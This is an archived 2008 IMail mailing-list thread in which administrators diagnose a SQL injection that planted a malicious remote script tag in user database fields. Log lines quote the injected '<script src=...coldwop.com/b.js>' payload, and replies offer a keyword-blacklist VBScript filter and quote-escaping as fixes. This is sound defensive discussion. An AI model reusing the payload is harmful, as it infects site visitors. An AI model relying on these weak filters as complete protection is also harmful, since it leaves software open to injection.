I wouldn't use that to fix the page.  Question: are you using dynamic SQL on 
the page, or just passing a parameter from the querystring for a where 
clause?

If the latter, all you need to do is escape quotes for string types, or make 
sure numeric datatypes are actually numeric.  For strings, do this:

strVar = replace(request("strVar"), "'", "''")

and for integers do something like this

intVar = CInt(request(intVar))
dblVar = CDbl(request(dblVar))
...etc.

I used request in the above examples, but would recommend using the 
appropriate request.querystring or request.form syntax.

This is simple, doesn't add much code, and does all of the validation you 
need.

The attacks are designed to add to the SQL query, by either terminating a 
string and adding additional SQL statements or where clause parameters.  By 
escaping the string or checking the numeric data type to make sure it 
doesn't contain non-numeric data, you prevent the attack.

If you are generating more dynamic SQL, like specifying tables to be 
queried, etc. then I would recommend casing the acceptable values.  However, 
if you don't want to do that, Matt has a function designed to detect SQL 
injection you might use.

Darin.


----- Original Message ----- 
From: "Kevin Rogers" <[EMAIL PROTECTED]>
To: <[email protected]>
Sent: Sunday, June 22, 2008 5:27 AM
Subject: Re: [IMail Forum] Coldwop


Thanks for the advice.  Yes, we are running a site that does allow
access to certain portions of the database, so I'm assuming we got hit
from that side.  We'll see.  We've added a function to catch the
injectors to all our web pages in an include file.  Just wondering if
this would suffice.  (If the function does match, we aren't currently
doing anything - just ending the page - do you have any suggestions in
that regard as well?)

pr_ValidateInputAll

function pr_ValidateInputAll()
    dim prReqName
    dim arToCompare
    redim arToCompare(2)
    arToCompare(0) = "drop"
    arToCompare(1) = "delete"
    arToCompare(2) = "update"
    for each prReqName in Request.Form
        pr_ValidateInput Request.Form(prReqName), arToCompare
    next

    for each prReqName in Request.QueryString
        pr_ValidateInput Request.QueryString(prReqName), arToCompare
    next

end function

function pr_ValidateInput(sInput, arToCompare)
    dim nLen, nPos1, nPos2

    nLen = len(sInput)
    if nLen > 15 then

        if Instr(1, sInput, "VARCHAR", 1) > 0 then
            Response.End
        end if

        for i = lbound(arToCompare) to UBound(arToCompare)
            nPos1 = InStr(1, sInput, arToCompare(i), 1)

            if nPos1 > 0 then
                nPos2 = InStr(nPos1 + 1, sInput, "table", 1)
                if nPos2 > 0 and nPos2 > nPos1  then
                    response.End
                end if
            end if
        next
    end if
end function



Darin Cox wrote:
> Best way to find out is to grep all of your web server logs for something
> like "VARCHAR(".  That will tell you what pages are being attacked.
>
> After that, you'll have to check the source code of the individual pages 
> to
> see if they are vulnerable, and take appropriate steps to patch them
> (quickly).
>
> Darin.
>
>
> ----- Original Message ----- 
> From: "Matt" <[EMAIL PROTECTED]>
> To: <[email protected]>
> Sent: Saturday, June 21, 2008 7:06 PM
> Subject: Re: [IMail Forum] Coldwop
>
>
> Oops, I misread this.
>
> You were hacked using SQL injection from the Web side of things.  I'm
> not sure what interface was hit, but it could be that webmail is
> vulnerable to this.  There's a bunch on SANS about these attacks:
>
>
> http://www.google.com/search?sourceid=mozclient&ie=utf-8&oe=utf-8&q=sql+injection+site%3Aisc%2Esans%2Eorg
>
> My guess is that this is Storm Botnet originated stuff.  They hack sites
> through a very common coding vulnerability in database connected
> websites, insert redirection code to an infected site, and when
> unsuspecting users visit the intended site, they get infected by means
> of one of many vulnerabilities in desktop apps that they target.
>
> Your logs are showing the aftermath of having the bad data in there.
> This will continue to happen over and over again until you patch
> whatever is vulnerable.  You either have some sort of custom site set up
> that has access to this particular database, or it was hacked straight
> through IMail's Web interfaces.  I would love to know which one.
>
> Matt
>
>
>
> Kevin Rogers wrote:
>
>> Thanks Matt.  I use an external SQL Server for Imail and all my users
>> had their USERDIR and MAILADDR and TIMEZONE fields changed to include
>> that coldwop.com javascript (e.g., "someuser" had their USERDIR set to
>> "d:\imail\someuser<script src=http://www.coldwop.com/b.js></script>")
>>
>> I've fixed that.  So what you're saying is that you don't think any
>> passwords have been compromised, but I've just been hit by the SQL
>> injector attacker?
>>
>>
>> Matt wrote:
>>
>>> This looks exactly like the SQL injection attacker from recent months
>>> is trying to exploit a Postfix flaw by injecting into IMAP
>>> interfaces.  If this is causing you problems, it would seem that
>>> IMail then isn't properly handling this bad data resulting in a
>>> denial of service, though I strongly suspect that you are not
>>> vulnerable otherwise.  It could also be simply curious timing with
>>> two different issues.
>>>
>>> Matt
>>>
>>>
>>>
>>> Kevin Rogers wrote:
>>>
>>>> Today our web mail application stopped working.  Some users are
>>>> reporting IMAP issues as well.  I've restarted all the services and
>>>> rebooted, but that hasn't helped.  The error when entering web mail
>>>> is that there is an "illegal character in the path".  When I checked
>>>> the syslog, I found thousands of entries like this:
>>>> 06:21 12:18 SMTP-(4722016d00006d72) ERR MyDomain.com read open fail
>>>> (d:\imail\RBG\myuser<script
>>>> src=http://www.coldwop.com/b.js></script>\bulk.mbx)
>>>> 06:21 12:18 SMTP-(46ed01d600006d40) ERR MyDomain.com read open fail
>>>> (d:\imail\RBG\myuser<script
>>>> src=http://www.coldwop.com/b.js></script>\main.mbx)
>>>>
>>>> Coldwop.com apparently is a malicious site (my Trend Micro won't
>>>> even let me go there).  Have I been hacked by them?
>>>>
>>>> Anyone seen this?
>>>> I'm running Imail 9.23 on Windows Server 2003, all patches.
>>>> Thanks for your help.
>>>>
>>>> Kevin
>>>>
>>>> To Unsubscribe: http://imailserver.com/support/discussion_list/
>>>> List Archive:
>>>> http://www.mail-archive.com/imail_forum%40list.ipswitch.com/
>>>> Knowledge Base/FAQ: http://imailserver.com/support/kb.html
>>>>
>>>>
>>> To Unsubscribe: http://imailserver.com/support/discussion_list/
>>> List Archive:
>>> http://www.mail-archive.com/imail_forum%40list.ipswitch.com/
>>> Knowledge Base/FAQ: http://imailserver.com/support/kb.html
>>>
>>>
>>>
>> To Unsubscribe: http://imailserver.com/support/discussion_list/
>> List Archive:
>> http://www.mail-archive.com/imail_forum%40list.ipswitch.com/
>> Knowledge Base/FAQ: http://imailserver.com/support/kb.html
>>
>>
>
>
> To Unsubscribe: http://imailserver.com/support/discussion_list/
> List Archive: http://www.mail-archive.com/imail_forum%40list.ipswitch.com/
> Knowledge Base/FAQ: http://imailserver.com/support/kb.html
>
>
> To Unsubscribe: http://imailserver.com/support/discussion_list/
> List Archive: http://www.mail-archive.com/imail_forum%40list.ipswitch.com/
> Knowledge Base/FAQ: http://imailserver.com/support/kb.html
>
>
>

To Unsubscribe: http://imailserver.com/support/discussion_list/
List Archive: http://www.mail-archive.com/imail_forum%40list.ipswitch.com/
Knowledge Base/FAQ: http://imailserver.com/support/kb.html


To Unsubscribe: http://imailserver.com/support/discussion_list/
List Archive: http://www.mail-archive.com/imail_forum%40list.ipswitch.com/
Knowledge Base/FAQ: http://imailserver.com/support/kb.html

Reply via email to